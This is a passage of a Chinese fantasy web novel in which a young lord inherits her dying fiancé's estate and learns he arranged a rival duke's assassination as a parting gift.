她重新回到桌前,抽出这批同时出现的煤炭订单,一目十行地快速扫过上面的信息,心却一点点沉了下来。 尤利西斯、弗斯特、安德鲁、库利这些名字她都很熟悉。 全是托利亚周围土地领主,全都是相似的话术,也全都是接近的落款日期。 巧合无法解释这一切,因为这是一场明晃晃的预谋。 就算托利亚的士兵有着精良的铁器、还有罗莎和雷尔夫亲训的武艺,但当这么多“运输队”同时出现在托利亚和泥巴湾时,自己仍然会像瓮中之鳖,没有丝毫反手之力。 壁炉烧得正旺,经改造后的书房加了水暖炉,比往年的每个冬天都更暖和,但艾米却忍不住感到手脚冰凉。 她还记得前段时间贝蒂发明了类似“蒸汽机”雏形的捣面团机器时,自己多么兴奋。这种兴奋绵延数天,以至于她每天起床都充满干劲,她感觉自己站在山巅,站在最好的观景位,捧着一杯热牛奶,准备开始欣赏这场始于微末的巨大变革。 但现在,她终于意识到,自己并不在山巅,并不在事外,而就在这场变革之中。 也许洛克的话有部分是对的。 艾米想,她总是忘记这个世界是基于什么而运转的,也总是忘记为何【贵族家族史】是想要为领主服务的学士们首选的课程——艾米小时候就总觉得这门课枯燥,因此学得也不怎么用心。 贵族家族史的背后,是政治。 这片大陆千百年来形成的稳固的结构正在支撑着这一切,迪特克也许不懂蒸汽机,不懂煤炭可能带来的变革,但是他懂贵族的联姻是怎么继续将这稳定的结构缝补得更结实,也懂怎么通过利益的交换来获得他想要的东西,更懂要如何对付艾米这种没有根基的小领主。 艾米又回忆起一年前的冬天,在迪特克私宅的庭院里,他手持的匕首划过她的脸颊时冰凉的触感。 刀刃此刻正抵着自己的喉咙。 再过几天,迪特克公爵的船队就会抵达泥巴湾,尤利西斯的运煤队,也许就会在北部密林里集结她不仅无法在这么短的时间里变出一支军队,甚至还要对这些远道而来的“客人”笑脸相迎,把希望寄托在迪特克大公暂时不想撕破脸,只想敲一笔钱上面。 一定有更好的办法。 艾米的视线落在了桌面墨水旁的信刀上。 用整块深色玛瑙制成的刀柄,镌刻着象征智慧的猫头鹰浮雕,刀身在特定的光线下能看到细腻的暗纹,尽管是被当成拆开信封的工具设计出的,但仍然保留了匕首用来杀人的功能,刀背处有三条极细的血槽,不难想象这柄信刀如果扎进敌人的身体里,也会十分趁手。 这种设计精美、华贵得甚至有些格格不入的东西,自然也是公爵大人的礼物之一。 如果是洛克的话,他会怎么做? 要写信询问他的看法吗? 艾米犹豫不决地掂起信刀,凸出的浮雕在指腹留下浅浅的印记,搅得她心神不宁- 雷尔夫回到托利亚已是深夜,但艾米还没睡,她立刻召见了他。 书房里,亚兰也在,他的面前是一本厚厚的烫金表皮的黑底书,摊开的纸张上划着一些零散的名字。 桌子上是已经变淡了茶水和吃了一半的糕点,雷尔夫留意到屋内两人的表情都很严肃,亚兰甚至顾不上抬头看他,飞快地翻着书,不知在找些什么。 艾米简明扼要地告诉了雷尔夫当下的情况和自己的猜测。 “最多一周,迪特克的船队就会到泥巴湾了。”艾米拧了拧眉心:“当务之急是进入战 备状态,无论是在训的民兵还是完成培训的士兵,都要立刻开始为可能的战争做好准备。” 雷尔夫单膝跪地,佩剑和未来及卸下的胸甲撞击发出清越的脆响。 “以您的名义。”风尘仆仆后沙哑的声音坚定有力,“我的剑不会允许任何人染指您的土地。” 艾米表情紧绷,微微颔首示意他起身。 “这只是最坏的打算。” 她闭上眼,叹了口气,补充道:“现在还远未到最坏的情况。” 艾米没有给洛克写信,她很快想到自己应该从哪里寻找答案。 从【贵族家族史】之中。 既然这片大陆千百年来按照一样的结构滚滚向前,那自己遇到的困难一定不是孤例,她一定可以从历史中找到值得借鉴的处理思路。 在所有科目都获得了学士身份的亚兰很快给了她合适的建议。 “国王、圣殿、联姻。” 三种办法,对应着三种思路。 “以百分之二十的收益作为交换,向国王寻求【特许开采权】的合法性,有国王的背书,即使是迪特克公爵,也无法将你的煤矿占为己有,最多向你要一笔不超过【特许开采权】的分成。” 但当下并不是很好的选择,近百年来,国王对北境和南境的控制减弱,除了河谷地带还有一批拥护他的贵族,实际上维特尔斯家族早就在魔法浪潮中失去了对大部分领土的掌控力。如果需要一个开采权的背书,她最好是直接和迪特克做交易,但在绝对的武力差异之下,对方未必愿意达成交易。 “第二个办法是将部分收益捐给中央圣殿,让圣殿发表声明,表明所有对您的煤矿的侵犯行为都等同于渎神。” 米迦尔应该很愿意帮她和中央圣殿沟通此事。就算不论两个人之间的交情,任何一个神官都会积极促成此事。要知道,对于外派其他地方工作的神官来说,获得这么大一笔募捐款本身就是任职功绩,他可能会因此再提升一次职级。 但艾米对光明神的成见颇深,决定将这一方法作为备选方案。 “联姻。”亚兰在提及第三种思路的时候顿了顿,“实际上,如果你没有和洛克公爵退婚,我想迪克特应当不敢这么明目张胆地派来船队威胁你。” 说是三种办法,实际上仍然只有一个办法——付出代价,向更强大的存在寻求庇佑,来获得发育势力、扩张领土的时间。 理清思路后,艾米反而没那么心神不定了。 如果她的目标从一开始就不是偏安一隅,那冲突迟早会发生,而现在只不过是提前引爆了矛盾的引线。 作为没什么人口和武力的小领主,这也是她必经的路。 “迪特克公爵不一定想要吞下我的煤矿。”梳理完现状,她乐观了许多:“首先,他应该明白,煤矿被周围数个领主分开吞食,未必有我单独治理更有效,只要我能提供比其他人更多的税金,他就没理由收回我的土地。” “而且,我因为在迪特克的手上栽过一次,所以面对他时过于紧张,容易把他想象得太聪明太果断了。” “仔细想想,远在永夜城的迪特克,即使对我的煤矿产生兴趣,也一定是从其他人的口中得知的信息。尤利西斯、弗斯特、安德鲁、库利很可能是他们中的一个,或者他们中的几个,想要分食我的煤矿,因此主动向北境大公提出建议,策划了这次事件。” “而迪特克会参与其中,我想,最关键的原因是他一直对女人不怎么尊重。”艾米轻蔑一笑,“他从一开始,就不相信我,一个女人,能当好领主。他觉得我总归是要嫁人的,因此觉得煤矿不如交给其他人。” “但他只是傲慢,并不是愚蠢。只要我能说服他,维持现状对他来说才是收益最大的选择,那么他就不会再为难我。” “只要迪特克的船队撤离,其他领主的士兵就如乌合之众,没有半点凝聚力,即使爆发小规模的冲突,也完全在可控的范围内。” 房门传来清脆的声音,是女仆进来更换新的茶水,窗外,沉沉的夜色不知何时已初见淡紫色的晨曦。 艾米推开窗户,深深地吸了一口新鲜空气。 北境凛冽的寒霜气息顺着鼻腔直接灌进脑仁,冲散了她一整天的彷徨。 那封写好的信还在抽屉里,最终没有寄出。 也许洛克有于她而言更好的办法来解决当下的困境,但艾米已经不在乎了。 无论深浅,无论泥泞,无论崎岖。 这是她必须要自己走的路。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 110-115 第111章 第111章如果这不是恶作剧的话…… 当迪特克听到艾米正在黑岩堡的会客间想要拜见他的时候,这位北境的实际掌权者吃了一惊。 “她来做什么?” 现在既不是缴纳税金的时候,也没有什么特别的节庆,入冬后,北境的贵族都会窝在自己的庄园里,无所事事地靠酒精度过严寒,就连迪特克也很少接到永夜城之外的贵族的拜访请求。 “抱歉,大人,艾米小姐并没有说明。” 下人垂下头,恭敬地回应。 不过迪特克只略微想了想,就明白了她出现在此的原因。他沉吟片刻,决定亲自接见这位远道而来的小领主。 ——反正北境的冬天无聊透顶,做任何事情都不算浪费时间。 艾米最终是在主人套房的第一会客间里见到了迪特克公爵,她跟随下人来到这间温暖精致的房间里时,服侍的女仆刚刚把给客人用的暖手炉送来。 这是个镂空镌刻着花卉纹的银器,盖子上镶嵌着宝石作为装饰,炉身两侧各有一对包着银丝的暖玉耳柄,方便抓握。艾米接过暖炉,轻轻用手心包住。 “新淘来的玩意。”迪特克随意地说道。 他的手中并没有这个,很明显暖炉是专门为女眷准备的,但在这场对话中,一只装着银丝木炭的暖炉,更显得有别样的深意。 即使黑曜石的效用下降,贵族日常生活也会使用更为昂贵的、经过处理过的木炭,但这种产量不高的燃料无法让整个城堡都保持温暖,只有煤炭这种廉价热源能够做到。 艾米开门见山的谈及迪特克公爵的订单,但并不是和折扣或收益提成有关,而是更具体的,关于煤炭开采和运输的具体细则。 “本来我也无法在这么短的时间里为您提供这么多煤炭,但这台我取名为蒸汽抽水机的东西出现后,效率提升了很多。除此之外,我正在修建一条从矿区直达泥巴湾的轨道——轨道,我必须提前为您介绍一下,装载煤炭的车不需要黑曜石驱动,只要一匹马牵引着带来一点点动力,就能沿着地势滑到海边——这样运输速度也快了很多。” 她必须要让迪特克知道,只有她才能为他带来最大化的利益。 “我应当早点为此拜访您的,但是矿工的管理让我忙得焦头烂额。您作为大领主应该清楚,多了这么多外来人口,小镇立刻变得乱糟糟的。”艾米一副头疼的样子,“不过,现在终于好了,我花了不少功夫,才让这些人明白自己该干什么。” “等处理完您的这批货,我正打算在矿洞里也修上这种轨道。现在从里面拉货主要靠矮马,但速度太慢了,我的学士有了更好的主意,他说新的举措能让我的产量再翻一番。” 迪特克一开始并没在意艾米的话,但逐渐也听得入了神。 她提出的每项改变都十分有新意,每个没听说过的东西都令他好奇,无论是轨道、新式马车还是她口中的“蒸汽机”。 这场聊天一直到女仆进来提醒两位厨房已备好晚餐才停止,艾米接受了迪特克公爵的邀请,并主动提出可以边吃饭边聊聊“送给公爵大人的礼物”。 她打算将百分之二十的收益送给迪特克作为税收的一部分,并若有若无地暗示,产量提升,这笔收益还会更高。 迪特克并没有立刻接受。 他敲打了艾米一番,作为她没有第一时间来拜访自己的惩罚,然后将收益要到了百分之四十。 这也在艾米的预料之内——或者说,这算是个好兆头,既然他愿意就分成比例的细节谈下去,那就说明自己这趟来对了。 百分之四十确实是一大笔钱,但说到底,产量的具体数字也只有自己清楚,现在的百分之四十,可能就只有效率提升后的百分之二十这么多,只要迪特克公爵愿意出面签署自己的开采特许,那艾米就不用担心周围对自己煤矿虎视眈眈的其他领主了,甚至自己有底气主动把离得最近的尤利西斯赶得再远一点。 艾米想趁热打铁在晚饭后就把合同签了,但迪特克这个老狐狸有意再晾一晾她。 于是她也不能没眼力见地继续待下去,只能先行离开,明天再来。 这次出门十分仓促,又因为要赶路,艾米只带了罗莎随行。她需要最信任、又有武力值的雷尔夫在领主府代行自己的事务,万一这里没谈妥,很可能就要和迪特克的船队正面对上。 但第二天一早,在出门之前,艾米却先收到了一封从托利亚而来的、加急的魔法信件。 她心底一惊。 难道是领地周边爆发了冲突?还是迪特克的船队抵达了泥巴湾? 艾米焦急地撕开封口,掉出里面的内容物——除了一封墨迹新鲜的 信笺外,还有一枚精致的黑曜石戒指,硕大的宝石没什么特别,特别的是戒圈内花纹十分眼熟。 她盯着上面的纹路,回忆起这应当是哈卡兹家的族徽。 看样子这应当是洛克关于自己退婚要求的回应。艾米短暂地松了口气,随手将戒指递给一旁的罗莎,开始阅读信上的内容。 看到小姐的神情,跟着紧张的半精灵也放松了下来,她接过戒指,对着窗外的光线摆弄观察。 “好漂亮的戒指,就算我不认识这里面刻的徽印,也能猜出是洛克公爵的东西。”她背过身去,翻来覆去地盯着手里的戒指,装作不在意实际好奇死了的语气,絮絮叨叨地打听着信里的内容:“是他寄来的信吗?他是不是坚决不同意退婚?小姐,我可是早就说了,公爵大人很喜欢你的,谁会送不喜欢的人这么多金币、宝石、礼物?我就猜他一定不会放手的,然后你逃他追——” “罗莎。” 半精灵止住了话头,把目光从戒指上收回。 “好了好了,我不说了。”她满不在乎地摆摆手,然后转身被小姐的表情吓了一跳。 艾米艰难地咽了口水。 觉得这一切荒诞且难以置信。 她一言不发地把信递给了罗莎,像是希望对方帮自己再确认一遍上面的内容。 艾米在半精灵的脸上看到了和自己一样的震惊,她声音颤抖,轻声询问道:“你说这会是恶作剧吗?” “我,我不知道,小姐。”罗莎指了指信件的末尾:“但,信上说,科林会帮您处理后续关于遗产继承的一切手续,伍德会来接您去布佛里托完成后续的仪式。” “我想,如果是真的,他们应该很快就会到永夜城有传送阵,他们来这里甚至比去托利亚更方便些。” 是。 如果这不是恶作剧的话。 艾米再次从罗莎手上抽过信纸,再次仔仔细细地从头开始阅读这封信的内容,力求不错过上面任何一个字。 【尊敬的艾米小姐,在北境寒冷的晨雾尚未散去的时刻,我敬以沉重的心情向您转达这一噩耗——您的未婚夫,洛克哈卡兹公爵大人,在昨夜回归了神的怀抱。】 这并不是一封退婚信。 这是一封遗嘱。 洛克死了。 他将所有的一切都留给了艾米继承。 ——以未婚夫妻的名义。 清脆的铃声打断了两人的面面相觑。 不一会,她们下榻的公馆门房气喘吁吁地敲响房间的门。 “艾米小姐。” 罗莎打开了门。 门房揣着厚厚的手套,裹着洗得灰白的棉袄,说话时哈着白气:“门外有您的客人请求拜访。” “他们自称是洛克公爵的随从,有十分要紧的事,要立刻和您说。” 第112章 第112章最后一件礼物。 直到踏上布佛里托的土地,艾米仍然觉得不可思议。 洛克怎么可能会死呢?他明明是这个世界上最不可能会死的人。 艾米更愿意相信这一切都是他做的局。 “他一定是想靠死亡的假消息得到些什么。”艾米不停地重复,“绝对是这样。” 系统沉默不语,但角色图鉴的界面上,公爵大人的立绘卡片边框泛着灰色。 所有的药剂都显示无法锁定目标,无法对他使用。 “即使他还活着,也只剩下最后一口气了。”系统根据现有的数据老实地说,“他的生命信息微弱到无法检测到。” 但艾米并不相信。 “他一定就在布佛里托,等着我自投罗网。” 公爵大人的城堡是他在托利亚庄园的翻版,等比放大的那种。 无论是花园庭院的设计,还是城堡内的布置陈设,都是如出一辙的华贵奢靡,艾米留心每一处窗户,试图从中看到正在偷窥的人影。 “洛克一定就在哪里观察着我。”艾米又在心底说,用笃定的语气掩盖莫名的快要溢出的慌乱。 科林正在书房等着辅助她完成文件的签署和附魔,他办事很妥帖细心,并没有因为艾米的身份而对她有任何懈怠。 “最后一份,是关于我们之间的主仆协议。”他递上一份羊皮卷,“公爵大人将我送给了您,艾米小姐,他希望我以后能为您工作。” 艾米有些惊讶。 虽然从第一次见到科林,她就很眼馋这位‘施工队队长’,但没想到公爵的遗嘱中,除了数不尽的财产和麾下的士兵,还有仆从的部分。 见自己未来的主人迟疑,科林连忙解释:“这是单向的,小姐,无论您是否签订,我都会按照公爵大人设定的契约归属于您。但签订后我能更方便地为您服务。” “我想去看一下公爵大人的遗体。”艾米说。 科林叹了口气,建议道:“恐怕现在不是好时机。” “哈卡兹家几乎所有重要成员都在前厅等您,家族传承的最后一步,您需要在他们的见证下完成继承仪式。” 踏上柔软触感的羊绒地毯,身旁的仆从于她之前推开了宴会厅的大门,一瞬间,艾米感觉所有的目光都落在了自己的身上。 她还有点恍惚,这份恍惚甚至超过了紧张,面对这么多双眼睛,微妙的解离感涌上她的心头,所有的一切都显得那么不真实,就像在打一个盗版游戏,有着格格不入的精致美术和粗制滥造的糟糕结局。 艾米感觉自己就像一尊没有感情的光明神雕像,在信徒的瞩目之下,对每个人微笑。 一开始还有窃窃私语,但这些句子在还没完全进入她的耳朵前就消失了。科林跟在她的身后,用魔法的手段将话多的人舌头扯了出来,艾米只来得及瞥见他们口中吐出的鲜血,这些人就再也说不出话来了。 留意到她的视线,科林的脸上满怀歉意:“抱歉,小姐,这些没处理干净的污秽是我的责任。” 于是仪式顺利得不可思议。 一方面是因为这种碾压式的暴力是洛克公爵一贯的手段,即使他死去,余威也尚在。另一方面,南境的贵族更在乎自己的财富、地位能不能维持,而对于其他的细节不甚在意。 亚兰提到过,“南境的贵族比北境更开放些”,这种开放是建立在一种更为崩塌的道德体系和更为直接的力量崇拜的基础上的。 更何况,在仪式上承认继承权是一回事,而眼前的小姑娘能不能守住财富,又是另一回事。艾米尝试记住每张对她恭敬、笑容和蔼的脸,因为每一张脸的背后,都藏着不怀好意的暗中审视。 令人劳累的会面结束之后,洛克之前的贴身男仆伍德细心地为城堡的新主人准备了精致的晚餐,每一道菜都好吃到旁边有人死了都不会发现的程度——当然,现在是真的有人死了,食物的美味也真的能让人短暂地忘记这一切。 艾米终于缓过神来,在放松地咀嚼食物的同时思考这一连串的突发事情。 她匆匆赶往布佛里托,甚至来不及和迪特克公爵告别,原本当天他们约定就煤矿分成合同的细则再次面谈,但因为洛克公爵的死讯,她不得不临时寄去简易的信延后合同签署的日期。 而现在,艾米才后知后觉地意识到,继承了洛克公爵遗产一跃成为王国最有钱的寡妇的自己,在谈判桌上,不再是那个需要卑躬屈膝让渡权益的一方。幸亏头一天晚上,迪特克有意晾一晾自己以示惩罚,否则契约签署后,自己会白白失去煤矿40%的收益。 餐盘中的红酒炖牛肉软烂入味,搭配刚出炉的佐餐面包恰到好处,在艾米连续吃完一整篮切片后,侍从送上了炖杏仁奶收尾,丝滑程度令她再度恍惚。 自己是干嘛来了? 葬礼将在一周后举行,晚餐后,艾米再次提出要去看一眼洛克的遗体。 科林也终于无法推诿,将事情的原委和盘托出。 “小姐,这里并没有公爵大人的遗体。” 艾米松了口气,她就知道,洛克怎么可能这么荒唐简单地死掉。 “因为公爵大人想要自己一 个人度过生命最后的时光。” 科林抽出一封信,里面是空白的纸张,“没人知道他在哪,我唯一知道的是,他死后,尸体的地址会出现在这张纸上。” 艾米挤出一个勉强的笑。 “别骗我了,他一定躲在哪里看着我吧?费了这么大功夫,他到底想要什么?” “我知道了,他现在是不是带着士兵正在围攻王城?葬礼就是开战的讯号,是不是?” 科林的神情有些落寞,他盯着艾米看了一会,轻声张口:“艾米小姐。” “您应该知道最近半年布佛里托曜石矿的异变,这种神奇的黑色石头正在枯竭,以至于公爵大人需要铤而走险,在衰退前为自己和家族谋求一条新的、能再延续数百年的后路。” 艾米静静地听着,科林的语气越是郑重,她的心就越是惴惴不安。 “但最近,新的异变又产生了。” “即使是现有的黑曜石,也在不明缘由地、陆续失去魔法效用。” 艾米清楚地知道这一点。 “公爵大人”科林顿了顿,“他经由黑曜石修补和维持和身体,忽然就崩溃了。” 公爵大人的力量是黑魔法的产物,科林一直知道这点,尽管大人并没有明说,但任何和他朝夕相处的大魔法师,都能从他诡异的行事逻辑和异常的伤口恢复上窥见一二。 在南境,黑魔法并不是那么禁忌,因此流派众多,就算是科林也并不清楚和公爵大人做交易的是哪位邪恶的存在。 或者说,可能不止一位存在。 身体的溃败首先出现在胸口和手臂,那是公爵大人最近一次受伤的地方,紧接着是腿、脖颈,以及之前他受过伤的所有地方——甚至包括他的眼睛,都开始流血、失明。 无法抵挡的崩坏如摧枯拉朽般,令科林惊讶的是,公爵大人很快就坦然接受了这个事实。 他花了半天的时间,起草了这份遗嘱,用最后的力量,为契约附魔。 “不用来找我,我想一个人待会。”他将一封空白的信递给科林,“等到我咽气了,你可以来这个地址为我收尸。” 他笑了笑,显露出难得的放松:“放心,我会在葬礼前死掉的。艾米需要一场葬礼来亮相,你要帮她把葬礼办得体面些。” 科林沉默地接受了工作安排。 他在公爵大人身边待了十几年,很清楚这位南境的大人物是如何地说一不二。 艾米听完了整个故事,感觉胸口像陷进沼泽地里一样堵塞,淤泥覆盖喉咙,半晌说不出话来。 “他还说了别的什么吗?”犹豫片刻,她张口问道。 “确实是还有最后一件事。” 科林边说边瞄了眼挂钟,似乎是在等待什么。 就在这时,伍德敲响了书房的门,看到他的神情,大魔法师松了口气。 洛克的前侍从像之前对待公爵大人一样恭敬地对艾米行了个礼,才开始禀告来意。 “艾米小姐,北境传来的消息。” “就在刚刚,迪特克公爵在黑岩堡自己的卧室里,遇刺身亡了。” 艾米震惊,她看了看伍德,又看了看科林,两人的脸上都没有半分惊讶,似乎早就知道。 “这就是公爵大人嘱咐我的最后一件事。” 科林朝着艾米生硬地弯起一个弧度,像是肃穆的教导主任担心吓到学生,因而开始练习怎么用慈祥温和的语气说话。 “他说,这是他送你的最后一件礼物。” “希望你喜欢。” 第113章 第113章像等待被公主选中的骑…… 空白的信笺四周贴着一层金箔,经过柠檬水的浸泡,带着淡淡的清香。 这是洛克日常使用的信纸材质,这种专供于公爵大人的纸,价格甚至比制作《三圣经》的犊皮纸更贵。艾米的书房里有几张,是洛克夏天度假时,在她的书房见面聊天时随手遗留的。 他就是这样的一个人,像只漂亮名贵但会掉毛的孔雀,无论在哪里生活过,那么被入侵者的生活里,就充满了无数他的痕迹。 ——艾米捏着科林给她的信出神地想着。 她定定地看着信纸,既怀疑这一切仍然是洛克的计谋,又隐隐担心下一秒这上面就会浮现一行代表他死讯的地址。 “小姐,你还好吧?” 罗莎主动建议道:“您想出门走走吗?这是你第一次来布佛里托,有些有意思的地方还是很值得去逛一逛的。” 艾米摇了摇头:“我没事。我只是在想,他现在躲在哪里等死。” “不过你提醒我了,去给莉亚买点礼物吧?她一定会很高兴的。”她露出了温和的笑,像之前很多次一样:“记得找伍德要钱兜。托公爵大人的福,我们买东西再也不用砍价了,随便拿去花吧。” 罗莎听出小姐是想一个人安静地待会。 她浅浅应下,不再坚持,悄声地离开了房间。 艾米再次举起手中的信纸,对着窗外撒进的阳光仔细观察,试图找到任何洛克故意留下的线索。 她实在不愿意相信,他会这么简单平静地死掉。 或者说,就算是死亡,他也会拿出来交换些什么。公爵大人不是会做亏本生意的人,艾米始终坚信这一点。 但这就是一张表面看起来平平无奇的纸,平平无奇到随手塞进抽屉里,就会立刻和其他信纸混在一起,再也区分不出的程度。 他到底会在哪里呢?他会选择什么地方作为自己生命的终点呢?这座城市里,又有哪个地方会对他来说意义重大到会被他选为埋骨之地呢? 半响后,艾米开始感到丧气。 连洛克最信任的科林和伍德都猜不出来的地方,自己又怎么可能对着信纸看半天就有头绪了呢? 忽然,一道灵光闪过。 也许,作为洛克来说没有这样的地方。 但对于埃克森来说未必- 艾米花了好一阵功夫,才终于找到记忆里那处陡峭的岩壁。 “地精钻进矿洞里都找不着回家的路。” 她想起埃克森曾告诉过她的这句俗语,庆幸自己比地精还是强点。 二十年之后,这处矿工的小小聚集区已经完全荒废,本就难走的翘崖连人为踩出的那条小路都几乎被剥落的石块掩埋,看不出任何足以勉强放脚的墙面凹槽,艾米怀疑除了岩羊外根本没人能安全下去。 还好她有外挂,能用点魔法的小手段。 崖壁之下坐落着几栋小木屋,而从中找出埃克森的家十分简单。 唯一一栋完好建筑显眼地矗立在其他破烂的房子之间,就像童话故事里巫婆用来狩猎迷途旅人的陷阱一样突兀。 艾米抬腿不假思索地朝目的地走去,并坦然接受了自己正主动踩进陷阱的事实。 快走到门口的时候,她制造了点声响。 但屋内没有任何声音回应。 艾米还记得上次推开这扇门后看到的景象,埃克森的母亲死在床上,脑袋重重地垂在床边,苍白的脸像睡着了一样安详。 她的手放在门上,在用力推开之前,第一次清晰地意识到,自己并不想再次看到一具尸体。 她希望他还活着。 熟悉的屋内陈设,和二十年前一模一样。 洛克并没有躺在床上奄奄一息,他坐在一张和周围环境格格不入的华贵沙发上,腿上铺着一件暗红色的毛毯。 他的眼睛已经几乎失明,只能跟从声音的源头转向门口的方向,双目无神地望向虚空。 “我一直在猜,死亡和你哪个会先找到我。”洛克的声音虚弱,语气却十分轻松,“但还好是你。” “继承仪式还算顺利吗?他们有为难你吗?” “为难我的人,科林已经帮我解决了。”艾米往前走了两步,想看得更清楚点。 “所以,没有。” 洛克穿着一件柔软的烟灰色毛衣,露出的手腕和领口遍布伤口,但既不渗液,也不渗血,惨白的模样比起血肉更像是摔碎后裂开的玉石。 “那就好。”” 迪特克呢?他死了吗?” 艾米下意识点头,又想起他现在看不到。 “在卧室遇刺身亡。”她轻笑,带着微不可见的讥讽:“一夜之间,北境和南境都易主了。” 洛克没顺着接下去,他只是轻声问着:“你喜欢吗?” 艾米微怔。 “你喜欢我送你的礼物吗?”他又问了一遍。 艾米同样没有直接回复,而是说起了其他的事情。 “迪特克突然对煤矿感了兴趣,是你做了什么吧?” “我无论怎么想,都觉得周围领地的那些傻子,不会机灵到能想出这种主义的程度,他们都是和哈尔不相上下的蠢材。” “谢谢你还认可我的聪明。”洛克的声音很愉悦,“但为什么,你没想到找我帮忙呢?” “我还以为我在你心目中,应当是就算吵架也十分慷慨、会帮未婚妻解决困难的形象。” 艾米反问:“为什么要这么做?我差点被迪特克的船队和周围的领主围攻,而你明知道托利亚现在的士兵应付不了他们。” 洛克淡淡地回应道:“我只是把矛盾的引线提前点燃了而已。” 他的手轻轻搭在毯子上,上面除了婚戒外,再没有任何一枚戒指。 “我的时间不多了,亲爱的,我只是想尽可能再为你多做点什么。” “好了,现在该你回答我的问题了,所以,为什么没找我帮忙呢?” 艾米语气有些生硬:“我自己可以解决。” “用百分之四十的收益作为代价吗?” “你什么都知道。”她有些惊讶。 “也并不是什么都知道。”洛克又笑了:“你瞧,我就不知道你还可以自己解决。” “不过下次遇到这种事情,别用这种蠢办法。” “那我应该怎么做?” “我已经告诉你了。”洛克没有明说,他只是继续用无神的眼睛,望着艾米发出声音的虚空。 艾米的语气仍然生硬,带着她自己都没意识到的紧绷的颤抖:“找你帮忙吗?等你死了,我又能找谁帮忙?” 洛克叹气:“放松点,算是可怜我,别在这时候和我吵架,好吗?” 他艰难地抬起手臂,示意艾米在自己面前坐下。 两个人就像回到了夏天,在书房里聊天的日子。 “我已经示范给你看了,杀了迪特克,你可以制造一个更大的混乱来将其他人的注意力从你身上移开。” “无论从何种角度,这对于你都是最佳的办法。” “你需要时间来发展力量,而突然的异变迟早会让迪特克将目光投到你的身上,这不是靠躲避能够解决的局面。如果我是你,我会在其他人意识到之前就推出一个新的更严重的问题,来吸引其他人的注意力。” “迪特克死了,而他年轻到没有留下合适的继承人,他的兄弟、他的私生子会像秃鹫般蜂拥而至,争夺北境的继承权。以我对那些不相上下的蠢货的了解,至少三年,都没人留意得到你了。” 艾米确实没想到这个角度。 她忽然意识到,自己做领主仍然是以一种经营游戏的思维——而不是权力游戏的思维。 洛克继续说道:“而这个解决办法,不需要我帮你,你就可以自己完成。” “你缺少士兵,缺少人口,缺少训练后的军队。” “但你从来不缺刺客,你的侍从是南境最好的雇佣兵,米迦尔是圣殿铲除异己最利的刀,而布利斯他虽然从不杀人,但如果你求他,我想他也会愿意帮你忙。” “用你最好的牌,主动打出去,而不是用常规的手段,被动地应对。” 他嘴角微微上扬,用鼓励的语气:“如果下次再遇到这样的问题,试试这样去解决吧?” 艾米的背挺得笔直,像一把绷紧的弓。 她不知道该说些什么,因为她担心自己说什么都会让那根弦松掉。 还好洛克又聊起了另外的话题。 “聊些别的吧,我也刚好有一些疑惑想要请求你为我解答。” “能不能告诉我,你是怎么找到这里的?” 艾米定了定神,缓缓张口:“因为你带我来过这里。” “是我成为派恩公爵的儿子之前的事情吗?” “是。” “所以,我们很早就认识了。” “是。” “你就是我想要珍藏的那段记忆。” “是。”艾米这次犹豫了一下才做出答复。 “真好。”洛克轻轻喟叹,“可惜我已经完全不记得了我只知道,我有一段珍贵到要将它锁在意识深处的记忆。” “我本来想听你讲讲那时候发生了什么,但现在想来,其实并没有这个必要。” “它只会一次次提醒你,我现在有多么讨厌,是吗?”他自嘲地轻笑,“我不可能变回你原本喜欢的模样了,我不是他,我也不想你因为他而可怜我。” “时至今日,所有的一切都是我的选择的结果,而我毫不后悔。” 艾米感觉眼眶有些酸胀,她用力抿了抿唇,将哽咽吞下。 “是,你不是他。” 埃克森只是一个可怜的孩子,他是浮光掠影中的某个短暂的切片,是他的过去,是构成现在的洛克中的小小一部分。 但不是他,不是现在这个奄奄一息的,像翻出白棉花的破娃娃一样的他。 平复了下心情后,艾米哑着嗓子轻声询问:“你还有什么还有什么想让我为你做的事情吗?” 洛克露出一丝愉快的狡黠。 “当然,你应该知道,我从来不做亏本的生意。我如此大费周章,当然是有想要的东西。” 他拿出一顶小巧但精致的公主皇冠,主钻硕大且纯净无暇,两侧错落有序地排列着从到小的钻石,底座上均匀地分布着一圈璀璨的碎钻。 “我本来以为已经没机会再送出去了,但看来我运气还不错。可以戴上它吗?虽然我现在看不见,但一定很漂亮。” 他将皇冠递给艾米,然后吃力地扶着沙发,艰难地站了起来,语气极为郑重。 “艾米小姐,请问,我有这个荣幸,可以邀请你和我跳支舞吗?” 洛克微微欠身,右手做出了邀请的姿势。 他微笑着,像等待被公主选中的骑士。 第114章 第114章想好要怎么解释我的存…… 艾米必须要费点劲才能将面前的成年男人撑在自己的肩膀上。 于是洛克 小声地夸她真厉害。 “那么,我们要跳哪只舞呢?”艾米问。 洛克沉吟片刻,轻轻哼了一支南境的小调。 “你会跳这只舞吗?” “没听过我只会那些常见的曲子。” “舞步几乎是类似的你只需要在最后的节拍上向后弯腰就可以。” 两个人边慢慢踱步边慢悠悠聊着,艾米忽然想起自己还有最后一张没使用过的约会卡。 “等等,我可以放点音乐。” 她使用了【眷恋舞曲】的卡面技能。 这是宴会上和雷尔夫跳舞后收获的约会卡,没想到还能在今天派上用场。 熟悉的舞曲在小木屋里响起,这是一支很常见的曲子,常在宴会的结尾演奏,几乎所有人都会跳。 “真厉害。” 洛克又夸了她一次。 男人温柔的声音落在耳边,艾米因此感到有些脸热,她微微侧开头躲避,却忘了眼下对方的身体状况不足以单靠自己站立。 洛克踉跄着差点把她带倒。 “抱歉。” 艾米用力地扶住对于她来说过于高大的洛克,吃力地重新调整两个人的站姿。 “没关系。”她咬牙说。 一方面是洛克真的很重,而另一方面,她忍不住怀疑这个狗男人是故意往自己身上倒的。 “如果您想好好跳完这支舞的话,建议自己也出点力,别全指望我。” 艾米一字一顿地说最后的几个字:“公爵大人。” “怎么会呢?”洛克的声音出奇地愉快:“我快要死了呀。” 他边说着边恶劣地靠得更紧了些。 艾米抵着他的胸口,手胡乱地扯着他的手臂,在隔着衣服触碰到奇怪的断口时吓得缩了回来,以至于到嘴边的话也忘了,支支吾吾地变成了关心。 “轻点、轻点、小心点啊!”她慌张地用手捏起那块摸起来快要掉了的关节,声音抖个不停。 反而是洛克安慰她:“没关系的,不会当着你的面掉下去。” “但为了以防万一,你还是把手搭在我的腰上吧?这块地方目前还很完好,你不用害怕摸到什么会让你做噩梦的东西。” 他甚至还有心思开了个玩笑。 